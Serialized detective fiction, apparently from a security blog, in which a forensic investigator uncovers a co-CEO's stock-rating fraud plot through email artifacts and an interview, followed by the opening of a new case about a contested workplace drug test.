“We have a lot of options, but I understand that speed is of the essence in your situation. I propose that we get his blackberry in our hands long enough to forensically grab the contents and return it to him.” I replied.

There was a brief silence on the phone again as I heard Wreed cup his hand over the mouthpiece and speak to someone. After a minute or two he returned to our conversation.

“Chief, his blackberry is company property so he has no expectation of privacy. Tell me what you want to do.” Wreed asked.

“Okay, I’m going with a plan that we’ve executed many times before. It’s going to be easier to ask him to hand it over than have us try to swipe it and return it. I’d like to do something similar to what you did with your employees and their phones. Have a key employee walk around to a few blackberry users and confiscate their phone using the excuse that a company phone is overloading the blackberry server. Make it sound like an emergency, this will catch him off guard and reduce the chance that he’ll try to remove any data from the phone.” I suggested.

“You got it. Can you and your associate meet me in my office at 9AM tomorrow? I’ll send my IT manager around to do the collection. You should have all the time you need.” Wreed declared.

“Perfect.” I said as I disconnected the call.

This was going to get interesting fast.

Scrap clutched his stomach and released a belch that any disrespectful bar drunk would be proud of.

“Find something?” I said with a chuckle.

Scrap rubbed both of his eyes with his paws and stretched his arms upward in an attempt to fake an EnCase injury of some sort.

“Tons of stuff, boss. Tons. Every executive in the Fortune 1000 must have this guy’s personal e-mail address. He gets invited to go everywhere and do everything. In one of these messages a guy is offering to give Sinjin a free lease on a Mercedes!” Scrap said in disbelief. “And amazingly, he hasn’t accepted any from what I can find unless he’s not doing it over webmail.”

I grabbed my notepad and flipped through a few pages of notes.

“EEE has a pretty substantial corporate compliance and ethics program. I got a PDF of the compliance pamphlet that all EEE employees get on their first day of employment. These guys can’t accept any gift over $25, and every one of those puny gifts has to be documented and reported. This is good stuff. When you think about it, consider the power that a guy like Sinjin has. If he writes up a favorable analysis of your company and stock, people are going to buy it like crazy. If he trashes you, your company value could tank over a day or two. It’s no wonder the ethics program is so strict. From what you’ve found so far, Sinjin seems to be a straight shooter.” I explained. I looked up from my notes and noticed that Scrap wasn’t paying attention to me as he continued to whip through the magic bytes in front of him.

“Chief, what time did you say that we’re meeting Wreed tomorrow to do the blackberry grab?” Scrap asked.

“He said 9AM, but we should be there early just in case. Why?” I asked.

“We’d better be real quick about it. According to this mail message from yesterday morning, Sinjin is having lunch at 11AM.” Scrap said as he scrutinized the information in front of him.

“Lunch? With who?” I queried.

“Assuming that our assumptions about that mail message we found earlier about the conjoined twins is correct, I’d say he’s eating with Wahlberg… and a guest.”

Chief’s Notes:

I want to make sure that I haven’t lost any of you so far, so here are some discussion points for the comments. Put yourself in my shoes (or Scrap’s sandals) and consider the following:

Given the earlier case briefing from Wreed, we have established that communication between an EEE employee and an executive(s) of a publicly traded company has happened, and is suspected of becoming a regular occurrence. We were also briefed that Wreed believes that his co-CEO is plotting something that could result in our client being dismissed from his position. What is the significance of the suspected communication, and how could it be linked to a hypothetical plot by the co-CEO?
Considering the digital artifacts that have been discovered from physical evidence so far, is it a slam dunk that Sinjin is a party to these webmails? Why or why not?
Assuming that you capture all data from the blackberry and follow proper procedures, what digital artifacts would you expect to find? If the artifacts are related to the case and litigation resulted between EEE and Sinjin, how could a defense attorney discredit the blackberry evidence? The workstation evidence?
Many interviews and transcripts were used to reproduce dialog in this case file. Why would the conversation between Sinjin and his wife be important?

Put on your thinking caps, down the rest of your coffee, and let’s see what you all come up with by Monday afternoon. :-)

Chief

79105-070215-708183-49

Source: archived original

Part VII · Mar 7, 2007

“He really needs to look into some kind of nose surgery.” I silently moaned to myself as I attempted to concentrate on the enCase image in front me while being serenaded to the not so famous tune “Scrap Snoring in D minor”.

I politely asked Scrap to catch a few winks while I finished up the workstation analysis. I knew I wasn’t going to get any sleep, but I had little choice with all of our chess pieces in motion.

The image in front of me belonged to none other than Mr. Wahlberg, the “other” CEO. Traversing the usual files that one finds on an executive’s workstation is a true test of boredom control. Most executives are inundated with business case studies, lunch invites, financial statements, schedule adjustments, and the ever popular golf tee time.

My boredom was soon interrupted when I started picking apart his Internet Explorer history and cache. One of the first types of activity that I delve into is any webmail usage. Mr. Wahlberg appeared to belong to the several million-member strong America Online community.

I was right in the middle of giving my coffee cup some attention with a coffee stirrer when one strange word popped out at me: conjoined.

(Chief’s comment: To this day, I can’t explain why my tired eyeballs fixated on that word. It was an epiphany of sorts. Nearly every time I find something strange that causes my stomach to clench and my right foot to start tapping, I know I’m on to something.)

I carefully read the e-mail again, very slowly, and re-read the e-mail from right to left to make sure I was really seeing the words in front of me:

** From: ludicrousspeed@h0tmail.com To: wwweee@aol.com Su: re: he’s in

“Conjoined twins. SS. Financial. Date. Could I have more keywords in one single fricking e-mail?” I said out loud.

I marked the e-mail as an item of interest and then searched on the sender’s e-mail address “ludicrousspeed@h0tmail.com”. I couldn’t help but notice the obvious reference to one of my favorite Mel Brooks movies of all time “SpaceBalls”.

Over the next hour, you would have thought that I was sitting in front of a slot machine in Las Vegas winning one magic jackpot of $1 coins after another.

** From: ludicrousspeed@h0tmail.com To: wwweee@aol.com Su: re: re: re: he’s in

I understand your frustration. We must concentrate on the big picture. I know that I made you a promise about the girls, but my hands are tied. Things would be too obvious. I nearly had to sell my soul to arrange the SS deal. It’s done and deliverable as we agreed. SS plays ball, I split the twins, you win, I win. Concentrate on the goal or we’re wasting our time. **

I had hit the proverbial motherload.

“Scrap! Scrap! Wake up dude!” I yelled as I kicked his feet repeatedly.

“She said she was single! I only kissed her!” Scrap screamed as he woke up from some strange, convoluted nightmare.

“Dude, read this goodness that I just cut from Wahlberg’s machine.” I said as I pointed Scrap’s beady eyes towards my blinking cursor on Rosco’s screen.

Scrap perused the messages and let out a power yawn.

“Okay, I give. Who is this ludicrous guy? Wait. Wait a minute. Boss, this totally confirms our assessment of e-mails that we found on Sinjin’s machine! Ludicrous has to be…”

I snapped my fingers in agreement.

“Ludicrous has to be Whet.”

Read all of my case files! Use the handy Official SecurityMonkey Case File Index!

48384-070307-400978-19

Source: archived original

Part VIII · Mar 9, 2007

(Don’t pass out! Two case file updates in two days! Enjoy. - Chief)

“What do you mean he hasn’t entered the building yet? The guy hasn’t missed a day of work in years. Keep calling his cell phone. Keep me updated!” Wreed bellowed into his desk phone shortly before dropping it into the base.

A quick check of my watch verified that it was shortly after nine o’clock in the morning. Things weren’t going as planned in our attempt to secure Sinjin’s blackberry. Sinjin hadn’t reported for work yet.

“Maybe he’s just running late.” I said, trying to lift Wreed’s spirits. “We can camp out here. When he shows, we’ll proceed as planned.”

Wreed frowned and shook his head.

“This is all very unusual. I have a bad feeling about this. Something is up.” Wreed said as he got up from his chair. “You two are welcome to remain in my office. I’m going to walk the floor and see if I can dig up any information.”

“Not a problem.” Scrap said as he made himself comfortable in his chair and watched Wreed exit his office.

I was lost in reflection while flipping through my notes and contributing to the uneasy silence that filled the room.

“Please tell me you have a working theory on this morning’s drama.” Scrap begged.

“I agree that something is amiss, but we don’t have much to go on. You’re absolutely sure that the artifact you scraped from Sinjin’s workstation said he had lunch plans today?” I asked.

“Positive. I wrote it down exactly as I saw it. They were meeting at some place called ’the cafeteria’.” Scrap replied.

I gave Scrap a look that he was very familiar with. It took him a mere three seconds to comprehend it.

“Okay, okay. I’m on it.” he said as exited Wreed’s office and headed towards the receptionist’s desk.

Scrap approached the receptionist and waited patiently for her to end her phone call.

“Can I help you?” she asked after slapping the ’transfer’ button on her phone.

“I have a question. If I were supposed to meet someone for lunch at ’the cafeteria’, where would I be meeting them?” Scrap queried behind a charming smile and his usual casual demeanor.

The receptionist laughed.

“Sir, we don’t have a cafeteria in this building. Your date was probably referring to a deli about two blocks from here called O’Sharpies. Everyone calls it ’the cafeteria’ because it was a soup kitchen decades ago and is still sort of laid out like one.” she stated.

“Peachy. So what are you doing for lunch today?” Scrap asked as her phone rang again.

The receptionist immediately broke eye contact and glanced at her phone.

“I’m enjoying a can of soup and doing my nails. Good morning, thank you for calling EEE. Office of the CEO, how may I direct your call?” she said as she returned to her job duties.

I barely noticed Scrap returning to Wreed’s office, but I recognized his patented sigh.

“Get turned down?” I chuckled.

“She had plans, wise guy. Looks like our man Sinjin is having lunch a couple blocks down the road. Why do I have the feeling we’re eating there as well?” Scrap lamented.

I just smiled and returned to parsing my notes.

“He never showed.” Wreed exclaimed as he returned to his office an hour later.

“Crap.” Scrap blurted.

“Okay, change of plans. Scrap and I are heading over to Sinjin’s lunch location. I have stock photos of the entire management team of NC. I need a copy of Sinjin’s employee badge picture so I know what this cat looks like.” I said.

“Done.” Wreed said as he picked up the phone and contacted the security desk.

The walk to O’Sharpies was refreshing and tiring at the same time. The receptionist had described it to a ’t’ to Scrap. Upon entering, one is struck with the feeling of being back in grade school at lunchtime and wondering if today was salisbury steak day.

“Chief, let’s grab that table over there by the window. Good proximity view of the joint.” Scrap suggested as he wandered toward a table barely big enough to entertain two monkeys.

I eyeballed my watch. It was 10:45.

Shortly after sampling two hot coffees, Scrap nudged my leg under the table and pointed to a figure entering the deli. I casually peered over my shoulder, and then looked inside the file folder placed in front of me.

“That would be Sinjin.” I mouthed.

Sinjin peered around the deli and made eye contact with a sharply dressed man sitting five tables away. I glanced back into my folder and started flipping pages maniacally.

“Something wrong, boss?” Scrap queried.

I closed the folder and downed the remaining coffee in my cup.

“That guy over there that Sinjin just sat down with… the one in the suit?” I started.

“Yeah, what?” Scrap whispered.

“I don’t have a picture of that guy.”

Read all of my case files! Use the handy Official SecurityMonkey Case File Index!

72328-070308-640419-43

Source: archived original

Part IX · Apr 23, 2007

Scrap cradled his head in his hands as he watched me work.

“You are taking inconspicuous to a whole new level.” he joked.

I was attempting to carefully aim my camera phone in the general direction of Sinjin and the unidentified person at his table.

“Hi guys, what will it be?” came a cheerful voice from my right side.

Scrap snapped to attention.

“Uh, I’ll have a Coke. He’ll have a coffee.”

The waitress scribbled on her notepad and wandered away as quick as she appeared.

“Got it.” I exclaimed as I returned my phone to its carrying case. “Who the hell could that be? Things just aren’t adding up.”

Scrap mumbled something under his breath and flipped through my notepad.

I kept my eyes trained on Sinjin. Both he and the other gentleman were having a lengthy conversation and sipping coffee like it was going out of style. I wasn’t getting anything from their body language other than frequent smiles and head nods.

Nearly an hour later the two persons of interest got up from their table and walked right by us on their way out of the restaurant.

click click

“We’re going to need a photo album for all of these pictures.” Scrap joked.

“Let’s head back to EEE. Pay the tab.” I said as I put my possessions back in my bag.

Wreed scratched his chin with one hand and adjusted his glasses with the other as he peered over the poor quality camera phone images we had taken earlier.

“Things are making sense now, gentleman. Things are becoming quite clear.” Wreed bellowed.

“Do share.” I asked.

“The man with Sinjin is Roger Rogerson. He’s a social friend of Whet and Wahlberg and sits on the board of the Cheshire school.” Wreed said.

My brow furrowed.

“Cheshire school? What?” I queried.

“The Cheshire school is one of the most prestigious academies for children in the area. They have a very limited enrollment, a hefty tuition cost, and use a selection board to pick every student. You’ll find only children of the very elite in that school. Wahlberg has been trying to get his daughters into that very school for a year now.” Wreed explained.

I was puzzled.

“So what does this have to do with Sinjin? I’m missing something.” I said.

“This is purely my own speculation, but I’d say that Whet is manipulating Wahlberg and Sinjin into doing something, and using the school election board as the prize. Thinking back to previous conversations with Wahlberg, this makes total sense to me. I also know that Sinjin has been having a hard time with his sons and the public school that they attend. He’s had to drive to the school many times to pick them up after they’ve been victims of racist activities by the other students.” Wreed neatly said in one breath.

The wheels in my head started spinning out of control. This information would have been quite useful a few days ago.

“If your theory is true, then our objective is quite clear. We need evidence of such a proposition from Whet, or the same between Wahlberg and Sinjin.” I said as I scribbled quickly in my notepad.

Wreed smiled. “I completely agree. But how are you going to do that?”

I put down my pen and smiled widely.

“We’re going to talk to Sinjin.”

=*=

“Have you lost your monkey mind?” Scrap asked me as we walked down the hallway from Wreed’s office and entered a small conference room. Sinjin had shown up for work and Wreed was arranging for Sinjin to visit with us.

“Not at all. We’re going old school on this one.” I replied as I sat my laptop bag on the conference room table and sat down in a padded leather chair.

“We’re just going to smile and say ‘So, Sinjin… you’re being bribed to do a favor for a CEO of a huge company that you rate for your employer’? And he’s just going to spill his guts?” Scrap whined.

“Look at the pieces in motion here. Sinjin is a straight guy. He’s in a bad place. He has pressure from home, pressure from his employer, and now this outside pressure to relieve the other two pressures. Sometimes people do things in a pinch that are far outside their character.” I said.

“I hope you’re right.” Scrap said as he set up his laptop and spread notes out in front of him.

Several minutes later a lanky figure appeared in the doorway clutching his stomach and staring at the floor.

Showtime.

Don’t forget, the ENTIRE case file index (okay, I’m missing one - I’ll add it in there) is right here.

Chief

78288-070423-700020-48

Source: archived original

Part X · Jun 7, 2007

“Sinjin?” I asked as I stood up.

“Yes. And you are?” Sinjin asked as he moved to closer to shake my hand. His hand was cold and clammy and slippery with sweat.

“I’m Chief, this is Scrap. Have a seat.” I said as I motioned for him to sit down in front of us at the conference room table.

“Can I ask why my Blackberry was just confiscated?” Sinjin asked nervously as he watched Scrap place the blackberry into his laptop bag and exit the room.

“You can. But we need to discuss a few things first. We’ve been hired by EEE to investigate some corporate compliance issues that involve you.” I said.

Sinjin shifted uncomfortably in his seat.

“But what about my Blackberry?” Sinjin asked.

“It’s part of this investigation. It’s being looked at right now, just like we examined your workstation yesterday.” I replied.

Sinjin was quiet.

“You went through my workstation?” he asked in complete disbelief.

“Every directory, every file, every byte… yes we went through your workstation.” I said while maintaining eye contact with Sinjin.

From where I was sitting, I could clearly make out the carotid artery in Sinjin’s neck pulsating madly. To say he was exhibiting the classic signs of stress and nervousness would be an understatement.

“I will help in whatever way I can of course.” Sinjin muttered.

I removed some papers from a folder in front of me and started flipping through them slowly. The silence in the room amplified the noise of each piece of paper being turned.

“What kind of car do you drive?” I asked as I looked up from my papers with my poker face engaged.

“Uh, a Nissan Maxima. Why?” Sinjin replied as he looked around the room.

“We found a picture of a new Mercedes in your e-mail. Very nice car. That sure beats a Nissan, doesn’t it?” I queried.

Sinjin stopped looking around and stared a hole into the papers in my hand.

“WHAT?” Sinjin asked.

“The Mercedes you’re picking up in a few weeks is pretty nice man. Mind if I ask what a lease payment on one of those runs?” I asked with a tilt of my head.

“Mercedes? I have no idea what you’re… wait a minute. You can’t be serious!” Sinjin exclaimed as he slapped a hand down on the table.

“I’m dead serious. I’m guessing that lease payment is more than $25.” I said.

Sinjin was clearly agitated and clutching his stomach with his left hand under the table.

“I am not leasing a Mercedes, nor am I accepting such a car as a gift from a customer!” Sinjin boomed.

“I didn’t say anything about a customer. You’ve been offered a Mercedes from a customer? That doesn’t sound legit to me.” I said as I egged Sinjin further into a confusing rage.

“Ridiculous! This is asinine! You have no such proof of this at all!” Sinjin said as a bead of sweat rolled down his forehead.

“It’s all here in your e-mail Sinjin. It’s in black and white. We seem to have a problem here.” I said as I started flipping through more papers.

On cue, Scrap entered the conference room and leaned towards me. He whispered a few details and then abruptly left the room.

I grabbed my pen from the table and started writing a lengthy paragraph on one of the documents.

“Sinjin, security and human resources will be here shortly to finish this interview. My associate has found additional communications between you and a customer regarding the Mercedes on your blackberry, and I’m afraid that my portion of this investigation is now over.” I said as I started to stand up.

Sinjin had finally reached his breaking point.

“No! You have this all wrong! There is nothing going on with that cursed car! Why are you doing this to me when there are so many other questionable activities in this company? Why me?” Sinjin exclaimed as he wiped sweat from his brow.

I slowly sat down and grabbed my notepad.

“I’m listening.”

Don’t forget, the ENTIRE case file index is right here.

Chief

36162-070606-278755-60

Source: archived original

Part XI · Aug 21, 2007

[Okay, okay… here’s the next to last installment. The last installment is coming very soon…]

“It’s a war zone here and I’m in the middle.” Sinjin said as he stared at the floor.

“Go on.” I said as I tapped my pen on the table.

“Surely I am being framed for this stupid car thing. That is complete crap. Wreed has to be behind that.” Sinjin muttered.

“Wreed? Why Wreed? He’s your biggest cheerleader here from what I’ve seen.” I cracked.

Sinjin rolled his eyes.

“The man is a manipulative jerk. He hates Mr. Wahlberg, and Mr. Wahlberg hates him. I’m not sure what either of them have told you, but there is a lot of bad blood between them. Mr. Wahlberg is buddies with the CEO of National Communicators. Are you familiar with them?” Sinjin asked.

“Whet. Yes, we know of him.” I replied. “So what does this have to do with you?”

Sinjin took a deep breath and collected himself.

“Wahlberg wants me to rate NC in a way that the market will go nuts. This will push their stock price up quite a bit. In return for that favor, Wahlberg has promised me financial compensation and he’ll get my kids into a premier school.” Sinjin explained.

I scribbled more notes on my notepad and let out a large sigh.

“Come on Sinjin, that’s highly illegal. There are checks and balances in this industry that would catch such a thing. If NC isn’t really worth the rating that you give them somebody is going to notice and cry foul. I’m not buying it.” I said.

Sinjin was looking more agitated as the minutes ticked by on the clock behind him.

“Look, you don’t know the situation. Whet and his team have been cooking the books over at NC for a while now. They are setting the company up to be bought. If I rate them as a ‘buy’ the value of the company increases. Whet and company are going to make a fortune. However, all the investors that pour money into that company are going to get ‘Enron-ed’ within a year when the place collapses. I have all of the research. I assure you that I know what I’m talking about!” Sinjin proclaimed.

“And Wahlberg has promised to get your kids into a better school - a private school?” I asked.

“Yes.” Sinjin stated. “The very best school. His own girls attend there.”

I furled my brow and peered at Sinjin with almost sympathetic eyes. My poker face was unraveling by the second as I grasped the level of deception played upon this poor soul.

“Sinjin, I’m going to level with you. Wahlberg is full of crap.” I said in a volume barely louder than a whisper. Sinjin froze in his seat.

I ejected myself from my chair and started to pace around the conference room table.

“Wahlberg’s girls attend PS #24. A public school.” I said while keeping my eyes focused on Sinjin’s drooping head. “And Whet hasn’t sat on the board of that school in nearly two semesters.”

I hadn’t seen a person sit so eerily still since that time Scrap was pulled over by an Alabama state trooper.

Sinjin was grasping his stomach and slowly leaning forward.

“Are you okay?” I asked.

Sinjin straightened himself quickly. “Yes, yes. I am fine. So what, all of this is crap? Why would they make such promises if they could not come through? Wait. Wait. You have to be kidding me.”

I failed to change my facial expression.

“They were setting me up all along? The frequent gifts and offers of cars and vacations? Make it look like I was paid off by an investor? No way. NO WAY.” Sinjin howled.

“Yes, way.” I responded.

“And we have the evidence to prove it.”

52019-070821-437325-22

Source: archived original

The Conclusion · Sep 10, 2007

[Note: Scrap and I had a brainstorming session over the weekend, and it actually produced a conclusion that sums up the events without giving away too much. I figured you all wouldn’t mind. ~ Chief]

The knock on the door echoed loudly through the room. Sinjin nearly jumped a foot out of his chair.

A glance towards the door revealed the entrance of Scrap and Mr. Edson into the room.

“Sinjin, I’d like to introduce you to Mr. Edson, Vice President and General Counsel.” I said as I turned my head back towards Sinjin.

“We’ve met.” Sinjin sheepishly replied.

Edson and Scrap took seats on my left and right sides. I gave Edson the international signal for “you’re on”.

“I’ve spent a good deal of time going over the findings of Chief and his associate. I overheard the conversation that you just had with Chief, and it is troubling to say the least. This isn’t a game, Sinjin. The corporation’s future and reputation is at stake here. Your future is at stake here. Do you understand what I’m saying to you?” Edson queried an obviously nervous Sinjin.

“Yes.” Sinjin muttered.

“From what I know, Whet and Wahlberg are in the dark on these findings. For me to make these findings useful, I need to be completely assured of your cooperation.” Edson stated.

“I understand. But you have to believe me on this Mercedes thing! I have no idea what Chief is talking about. I drive a Nissan. I don’t even LIKE Mercedes cars!” Sinjin blared.

Edson chuckled and looked in my direction.

“Sinjin, I apologize about the car accusation. That was meant to get you talking. We’re very aware that you’ve accepted no bribes, gifts, or any other such thing. You’re off the hook.” I said.

Sinjin nearly collapsed and reached into his shirt pocket for a prescription bottle.

“Are you okay?” I asked.

“Fine. Fine. I have a weak stomach. I just need some water to take my pills.” Sinjin replied.

Scrap produced a water bottle that he “borrowed” from the receptionist earlier enabling Sinjin to gobble down his medication.

Edson turned his attention to me yet again.

“Now that we’re all on the same sheet of music Chief, I need you to explain some of this again before I brief Wreed. What’s the deal with the e-mails between Wahlberg and Whet? You’re sure these communications are between the two of them? What’s this about ‘conjoined’ twins?” Edson asked.

I flipped through a folder in front of me and produced copies of the e-mails that we had dug out of disk images. “Wahlberg screwed up a few times when e-mailing the person we suspected of being Whet. Scrap dug a little deeper in Wahlberg’s image and found AOL e-mails where he actually signed his name to the bottom of the e-mails. Whet made the same mistake two times. It’ll take a few orders of the court - but you’ll find that Wahlberg was logged into AOL from the office and his home during these transactions. The same procedure should be fruitful with Whet’s hotmail account.” I responded.

“And the ‘conjoined twins’?” Edson asked.

“A reference to the two men running this company. Co-CEOs. Both ‘joined together’ in running the company. From what we’ve been able to ascertain, Wreed’s suspicion that Wahlberg wanted him out wasn’t a hallucination. Wahlberg knew that Wreed would never go with the plan and was suspicious that Wreed was ‘on to him’. Hence the reason Wreed hired us in secrecy.” I stated.

“Bloody strange.” Edson quipped. “Sinjin, I’d like you to come up to my office. We have a lot to talk about.” Sinjin stood up from his chair and steadied himself. With a few blinks of his eyes he turned towards the door and walked very slowly, almost in a daze.

[For reference, the details of Edson’s conversations with Sinjin regarding the company’s internal investigation of Wahlberg have been stricken from this. Let’s just say that Wahlberg became suddenly unemployed and Whet found himself knee-deep with the SEC.]

“Sinjin.” I said.

Sinjin turned to look at me, his eyes half open.

“Don’t forget these.” I said as I tossed his prescription bottle towards him.

Sinjin grinned. “Mercedes. Jesus Christ. A Mercedes.” he muttered as entered the hallway.

“We’ll be in touch.” Edson said as he shook my paw and nodded his head at Scrap.

“I’ll send you the bill.” I joked as I waved Edson out of the room and then collapsed into a nearby chair.

Scrap sighed loudly.

“I don’t know about you, but I’m dying for some coffee. O’Sharpies?” I asked

“No can do Chief. I’m going to be on a coffee break downstairs… with Georgia.” Scrap replied.

“The receptionist? You mean you actually got her to say ‘yes’?” I asked in complete disbelief.

“Something like that.” Scrap said with a laugh as he collected his things and made a beeline out of the room.

“He is so getting a Mercedes e-mail when I find my laptop.” I thought to myself.

91660-070910-87970-790

Source: archived original

24. Case Of The Innocent Iris

Wed, 12 Sep 2007 00:00:00 +0000

Part I · Sep 12, 2007

The noise of her desk phone startled Rae so badly that she let out a “oh!” worthy of a Japanese anime heroine.

“I really need to figure out how to lower the ring volume on this thing.” Rae said to herself as she lifted the handset.

“Rae speaking.”

“Hello Rae. This is Simone in Human Resources. Could you come down here please? We have an urgent matter to discuss with you.”

Rae collected her thoughts for a moment. Had they screwed up her direct deposit paycheck again?

“No problemo. I’ll be down in five.” Rae responded as she dropped the handset back into position on her phone and started mashing buttons hoping to find the volume button.

A brisk walk and several small conversations with coworkers in the hallways later, Rae bounded through the door of the Human Resources department at Big Bank, Incorporated.

Rae approached the counter that was typically manned by a chatty receptionist and spotted a sign.

“Ring Bell For Service”

CLANG

“Jeezus, that is louder than my desk phone.” Rae muttered under her breath.

“RAE! Oh mah gawd girl, you are lookin’ good! Whatchu here for, girl?” spouted Debbie the receptionist, or “Debdeb” as she was known throughout the company.

“Thanks. I’m here because Simone said she needed to speak with me.” Rae responded.

“I’ll buzz you in. Her door is the second on the left.” Debbie responded with a friendly goodbye wave.

knock knock was the sound made by Rae’s knuckles on the office door.

“Come in!” chimed a familiar voice.

Rae approached Simone and offered her hand in a business-like handshake as she took position in one of the leather chairs facing Simone’s desk.

“Please tell me my direct deposit isn’t screwed up again.” Rae joked.

Simone’s smile faded from her face as she cracked open a manila folder on her desk.

“Rae, you’ve been with us over ten years. You are a star employee according to your management. That’s why what I’m about to tell you is a bit shocking to me.” Simone said in a calm voice.

“I’m sorry?” Rae asked with a tilt of her head.

“Last week you were drug tested as part of our company’s random drug testing program. As you know, Big Bank supports a drug-free workplace.” Simone began.

“Yessss…. I’m not following you.” Rae said while tilting her head in the opposite direction like a bobblehead doll.

“Rae, you tested positive for Cocaine. We had the lab confirm the results twice from your sample. Is there something that you want to tell me?” Simone asked with a hardened expression crossing her face.

“What? Simone, that is impossible. I’m a total health freak. I’ve never taken any recreational drugs. Hell, I barely like taking the prescription medications my doctor insists that I take! This is highly improbable. You’ve made a mistake.” Rae retorted.

“There’s no mistake Rae. The results were put through a standard five panel test. The results were validated using gas chromatography. Twice. I have no choice but to put you on notice as a warning. I need you to sign an employment agreement and agree to weekly urine testing for a period of one year. You will also need to complete a drug awareness program at a provider of your choice.” Simone said in a robotic fashion while throwing papers towards Rae. “I need you to sign here… and here… initial here…”

“NO.” Rae yelled. “This is madness! You are wrong. The tests are wrong!”

“Rae, sign these papers or we’re going to have to terminate you today. I’m sorry, but that’s company policy. You agreed to this when you accepted employment with us.” Simone insisted.

The rage built slowly inside Rae. Her anger consumed her at every level. Her hands started to shake, her body started to sweat, and the tears rolled down her face.

“I have to keep this job. My family depends on me. I’ll lose my home and everything I’ve worked for. I have no choice.” Rae said to herself as she tried to regain her composure.

Rae reached inside her purse and pulled out her lucky pen. She signed all of the documents. The rage still consumed her to the point where she could no longer hear a single word that Simone was saying to her.

“There, that wasn’t so bad. Please call me when you’ve selected a treatment provider. And Rae, it’s okay to admit that you used the drug. Everyone always admits it to me sooner or later. Look at this way… it’s all over now.” Simone said with half of a smile on her face.

Rae stood up from her chair and collected her purse and pen. Her eyes fixed on Simone’s.

“This is far from over.”

Continued in PART 2 »

10469-070911-218280-81

Source: archived original

Part II · Sep 12, 2007

“Scrap, toss me another beer!” I yelled from my precarious position atop an inflatable raft in the middle of my pool.

Scrap scrounged around in the drink cooler and came up empty.

“We’re empty! Empty I say! Can I grab that sixer from your refrigerator?” Scrap asked as he hurried to my back patio door.

“Please.” I said as I adjusted my sunglasses.

The day was hot, dry, and had that “day off” feeling lingering in the air.

gurgle

I grabbed my stomach with both hands.

“Scrap really needs to get those burgers cooking on the grill. I’m famished… and the rest of the crew is going to show up any minute!” I thought to myself.

ring ring ring

My heart sank. My Treo rang for one reason only: either a client was calling, or Scrap was too lazy to stick his monkey head out of the patio door to ask me which sixer was okay to remove from the refrigerator.

I lept from the raft and swam to the edge of my pool where my Treo lay nestled under a shady chair.

“Chief”

I immediately pulled the phone away from my ear and quickly adjusted the earpiece volume to ‘minimal’. The voice on the other end was still too loud.

“Hey Chief, here’s your beer.” Scrap yelled as he exited the patio door with beers-a-plenty.

“Hold up, I’m on the phone.” I replied.

More loud screeching and crying echoed from the earpiece of my Treo.

“Scrap, how do you make a woman slow down and stop talking 100 miles a minute?”

Scrap thought for a moment. “Do you REALLY want me to answer that?”

I thought for a moment. “Nevermind.”

I coddled the Treo to my ear and spoke as calmly as I could.

“Slow down. Slow down. I can’t understand you. Who is this?” I asked, noticing that the caller ID was showing “BLOCKED CALL”.

“Who is this?” came the voice on the other end. “Chief, it’s Rae. RAE. Forget me already?”

I exuded a loud gulping sound from my throat.

“Oh, hey honey. What’s wrong?”

Scrap was watching me like a hawk and noticed my expression change from bewilderment, to confusion, to anger as Rae recited her adventures from her Human Resources department.

“Okay, I want you to go home. Don’t talk to anyone. I’m going to be over there in 15 minutes. Drive carefully.” I said as I hung up.

“You okay Boss? You look like somebody announced Starbucks going bankrupt or something.” Scrap joked. “And who was that on the phone?”

I placed my Treo on the chair and hopped out of the pool. Water poured off my body as I toweled myself dry and ignored Scrap’s inquiry.

“Chief? Hello? Are you in there?” Scrap said with a maniacal wave of his paws.

“That was Rae. Something bad happened at work. I need to go talk to her.” I muttered.

“Rae? Rae who? Ray Charles?” Scrap said as he swigged a few mouthfuls of beer.

“No, Rae. Rae Iris. My friend.”

Scrap covered the nearby patio furniture with the beer that shot from his nose.

“Are you serious?” Scrap asked as he wiped his face with his beach towel.

“Dead serious. She’s being wrongly accused of something and wants to know if I can help.” I replied.

“No, I mean… you have a friend? Serious?” Scrap said with a wild-eyed expression on his face. “Should I call the guys and cancel the BBQ? I don’t think I’ve ever seen you this angry man.”

I slid my T-shirt on and grabbed my Treo from the chair.

“Oh no, my friend. The party is just beginning.”

Continued in PART 3 »

34975-070912-266884-50

Source: archived original

Part III · Sep 14, 2007

“You have arrived at your destination.”

The friendly female voice of my onboard GPS system announced my arrival at Rae’s home like a weary flight attendant reeking of spilled drinks, stale recycled air and body odor. I placed my vehicle in “park” and turned off the ignition. The sun blazed through the sunroof warming my already sunburnt head. After several seconds of mental meditation I opened my door and made my way to see Rae.

Seconds from the front door I heard the sounds of sadness and despair, similar to the noises created by Scrap when he’s out of cigarettes or one dollar bills at an adult establishment.

knock knock

The door was quickly opened by a teary-eyed Rae. I wasn’t two steps through the door before she clung to me like a bad Uwe Boll movie.

“I’m sorry to drag you into this, but I don’t know what else to do.” Rae sobbed. “Can you believe this crap? Ten years of dedicated service to that place and they are accusing me of being some street druggie!”

I followed Rae into her kitchen where she served me a fresh cup of coffee (what are friends for?) and poured herself a strange concoction from her blender.

“Still doing the health shakes? Girl, you’re in better shape than most olympians!” I said in an attempt to lighten the mood.

“Not even a strawberry banana kiwi delight can cheer me up right now.” Rae moaned.

I took a few sips of the rich Columbian goodness in my cup and gave Rae a reassuring look.

“After hearing your story earlier, I’m completely confused. You gave them a urine sample a week or so ago and the lab claims that it picked up Cocaine metabolites? So they did the standard five panel and a gas test? And it still came back positive? What the hell?” I asked.

“Yes. I have the paperwork here… look for yourself.” Rae said as she handed me a folded lab report.

My eyes immediately focused on the line starting with “Cocaine”:

Cocaine [Cutoff] 300 ng/mL [Tested] 2984 ng/mL

“Jeezus. That’s nearly ten times the cutoff level!” I exclaimed. “If you’ve never used this drug during your entire life, how is this possible?”

“That’s what I’m saying!” Rae cried. “It has to be wrong!”

I scanned the rest of the document and scratched my head.

“What do you think about a hair test?” I asked.

“A what?” Rae asked, tilting her head in a familiar manner.

“A hair test. You give several strands of hair that are tested. If that test comes back negative, then we know that there’s a serious flaw in the urine test that you gave. Hair keeps a ‘drug history’ on you for quite a while.” I said.

“I don’t know. I suppose you’re right. What do I do?” she queried.

“Go back to work tomorrow and tell them that you demand a hair test because you have reason to believe that the urine test was flawed. You have a right to respond to positive results, right?” I asked.

“Yes, I think it’s in the drug testing policy they gave me. Let’s look.” Rae said as she dug more papers out of her oversized purse and handed them to me.

“Ah, here we go. Yes, you have the right to ask to be retested using a hair test. It’s right there in black and white. I say do it.” I said adamantly.

“You’re the Chief. Okay, I’ll do it.” Rae said with a smile.

[One Week Later]

I was nearly two hours into a wonderful nap when I was startled back to a wakeful state by my cell phone.

“Chief.”

The sounds of nasal sniffing filled my ear.

“Hello?” I asked.

